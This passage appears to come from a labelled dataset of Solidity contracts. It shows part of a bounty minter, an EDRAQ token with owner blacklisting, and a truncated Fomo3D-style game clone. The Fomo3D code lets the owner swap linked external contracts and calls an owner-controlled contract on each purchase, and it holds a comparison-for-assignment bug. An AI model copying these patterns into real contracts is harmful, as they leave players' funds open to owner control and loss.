return block.timestamp <= lockedUntil ? lockedBalances[_who] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function addOperator(address _operator) public onlyOwner {
require(!mintingFinished);
addRole(_operator, ROLE_OPERATOR);
}
function addOperators(address[] _operators) public onlyOwner {
require(!mintingFinished);
require(_operators.length > 0);
for (uint i = 0; i < _operators.length; i++) {
addRole(_operators[i], ROLE_OPERATOR);
}
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addMinters(address[] _minters) public onlyOwner {
require(_minters.length > 0);
for (uint i = 0; i < _minters.length; i++) {
addRole(_minters[i], ROLE_MINTER);
}
}
}
contract CappedBountyMinter is TokenRecover {
using SafeMath for uint256;
ERC20 public token;
uint256 public cap;
uint256 public totalGivenBountyTokens;
mapping (address => uint256) public givenBountyTokens;
uint256 decimals = 18;
constructor(ERC20 _token, uint256 _cap) public {
require(_token != address(0));
require(_cap > 0);
token = _token;
cap = _cap * (10 ** decimals);
}
function multiSend(
address[] _addresses,
uint256[] _amounts
)
public
onlyOwner
{
require(_addresses.length > 0);
require(_amounts.length > 0);
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {
address to = _addresses[i];
uint256 value = _amounts[i] * (10 ** decimals);
givenBountyTokens[to] = givenBountyTokens[to].add(value);
totalGivenBountyTokens = totalGivenBountyTokens.add(value);
require(totalGivenBountyTokens <= cap);
require(GastroAdvisorToken(address(token)).mintAndLock(to, value));
}
}
function remainingTokens() public view returns(uint256) {
return cap.sub(totalGivenBountyTokens);
}
} | 0 | 1,520 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract TokenWithBlackList is BasicToken, Ownable {
mapping (address => bool) public BlackList;
modifier notBlackListed(address _addr) {
require(!BlackList[_addr], "Blacklisted.");
_;
}
function getBlackListStatus(address _addr) external view returns (bool) {
return BlackList[_addr];
}
function addBlackList(address _addr) public onlyOwner {
BlackList[_addr] = true;
emit AddedBlackList(_addr);
}
function removeBlackList(address _addr) public onlyOwner {
BlackList[_addr] = false;
emit RemovedBlackList(_addr);
}
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract EDRAQToken is DetailedERC20, CappedToken, PausableToken, Claimable, CanReclaimToken, TokenWithBlackList {
using SafeMath for uint256;
uint256 public constant INITIAL_SUPPLY = 200 * 10000 * 10000 * (10 ** 18);
constructor()
DetailedERC20("EDRA Q", "EDRA", 18)
CappedToken(1000 * 10000 * 10000 * (10 ** 18))
public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
emit Transfer(address(0), owner, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public whenNotPaused notBlackListed(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notBlackListed(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
} | 1 | 3,061 |
pragma solidity ^0.4.24;
interface ExtSettingInterface {
function getLongGap() external returns(uint256);
function setLongGap(uint256 _gap) external;
function getLongExtra() external returns(uint256);
function setLongExtra(uint256 _extra) external;
}
interface FoundationInterface {
function deposit() external payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract Events {
event onNewName(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "You are not owner.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Invalid address.");
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract Fomo3D is Ownable, Events {
using SafeMath for *;
using NameFilter for string;
using KeysCalcLong for uint256;
ExtSettingInterface private extSetting = ExtSettingInterface(0xb62aB70d1418c3Dfad706C0FdEA6499d2F380cE9);
FoundationInterface private foundation = FoundationInterface(0xC00C9ed7f35Ca2373462FD46d672084a6a128E2B);
PlayerBookInterface private playerBook = PlayerBookInterface(0x6384FE27b7b6cC999Aa750689c6B04acaeaB78D7);
string constant public name = "Fomo3D Asia (Official)";
string constant public symbol = "F3DA";
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 private rndExtra_ = extSetting.getLongExtra();
uint256 private rndGap_ = extSetting.getLongGap();
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
bool public activated_ = false;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => uint256) public fees_;
mapping (uint256 => uint256) public potSplit_;
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {
_codeLength := extcodesize(_addr)
}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
constructor() public {
fees_[0] = 30;
fees_[1] = 35;
fees_[2] = 50;
fees_[3] = 45;
potSplit_[0] = 30;
potSplit_[1] = 25;
potSplit_[2] = 10;
potSplit_[3] = 15;
}
function() public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function setExtSettingInterface(address _extSetting) public onlyOwner {
extSetting = ExtSettingInterface(_extSetting);
}
function setFoundationInterface(address _foundation) public onlyOwner {
foundation = FoundationInterface(_foundation);
}
function setPlayerBookInterface(address _playerBook) public onlyOwner {
playerBook = PlayerBookInterface(_playerBook);
}
function buyXid(uint256 _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID) {
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID) {
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) public payable isActivated isHuman isWithinLimits(msg.value) {
Datasets.EventData memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw() public isActivated isHuman {
uint256 _now = now;
uint256 _eth;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _rID = rID_;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) {
Datasets.EventData memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Events.onWithdrawAndDistribute(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
emit Events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return ((round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000));
} else {
return (75000000000000);
}
}
function getTimeLeft() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end) {
if (_now > round_[_rID].strt + rndGap_) {
return ((round_[_rID].end).sub(_now));
} else {
return ((round_[_rID].strt + rndGap_).sub(_now));
}
} else {
return(0);
}
}
function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) {
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) {
if (round_[_rID].plyr == _pID) {
return (
(plyr_[_pID].win).add(((round_[_rID].pot).mul(48)) / 100),
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
} else {
return (
plyr_[_pID].win,
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
}
} else {
return (
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) {
return (((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team])) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000));
}
function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) {
uint256 _rID = rID_;
return (
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) {
uint256 _rID = rID_;
if (_addr == address(0)) {
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return (
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Datasets.EventData memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > (round_[_rID].strt + rndGap_) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Events.onBuyAndDistribute(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Datasets.EventData memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Events.onReLoadAndDistribute(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Datasets.EventData memory _eventData_) private {
extSetting.setLongExtra(_pID);
if (plyrRnds_[_pID][_rID].keys == 0) {
_eventData_ = managePlayer(_pID, _eventData_);
}
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) {
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000) {
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000) {
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID) {
round_[_rID].plyr = _pID;
}
if (round_[_rID].team != _team) {
round_[_rID].team = _team;
}
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000) {
airDropTracker_++;
if (airdrop() == true) {
uint256 _prize;
if (_eth >= 10000000000000000000) {
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) {
return ((((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask));
}
function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) {
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return ((round_[_rID].eth).keysRec(_eth));
} else {
return ((_eth).keys());
}
}
function iWantXKeys(uint256 _keys) public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return ((round_[_rID].keys.add(_keys)).ethRec(_keys));
} else {
return ((_keys).eth());
}
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external {
require (msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID) {
pIDxAddr_[_addr] = _pID;
}
if (pIDxName_[_name] != _pID) {
pIDxName_[_name] = _pID;
}
if (plyr_[_pID].addr != _addr) {
plyr_[_pID].addr = _addr;
}
if (plyr_[_pID].name != _name) {
plyr_[_pID].name = _name;
}
if (plyr_[_pID].laff != _laff) {
plyr_[_pID].laff = _laff;
}
if (plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
}
}
function receivePlayerNameList(uint256 _pID, bytes32 _name) external {
require (msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if (plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
}
}
function determinePID(Datasets.EventData memory _eventData_) private returns (Datasets.EventData) {
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0) {
_pID = playerBook.getPlayerID(msg.sender);
bytes32 _name = playerBook.getPlayerName(_pID);
uint256 _laff = playerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "") {
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID) {
plyr_[_pID].laff = _laff;
}
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team) private pure returns (uint256) {
if (_team < 0 || _team > 3) {
return (2);
} else {
return (_team);
}
}
function managePlayer(uint256 _pID, Datasets.EventData memory _eventData_) private returns (Datasets.EventData) {
if (plyr_[_pID].lrnd != 0) {
updateGenVault(_pID, plyr_[_pID].lrnd);
}
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
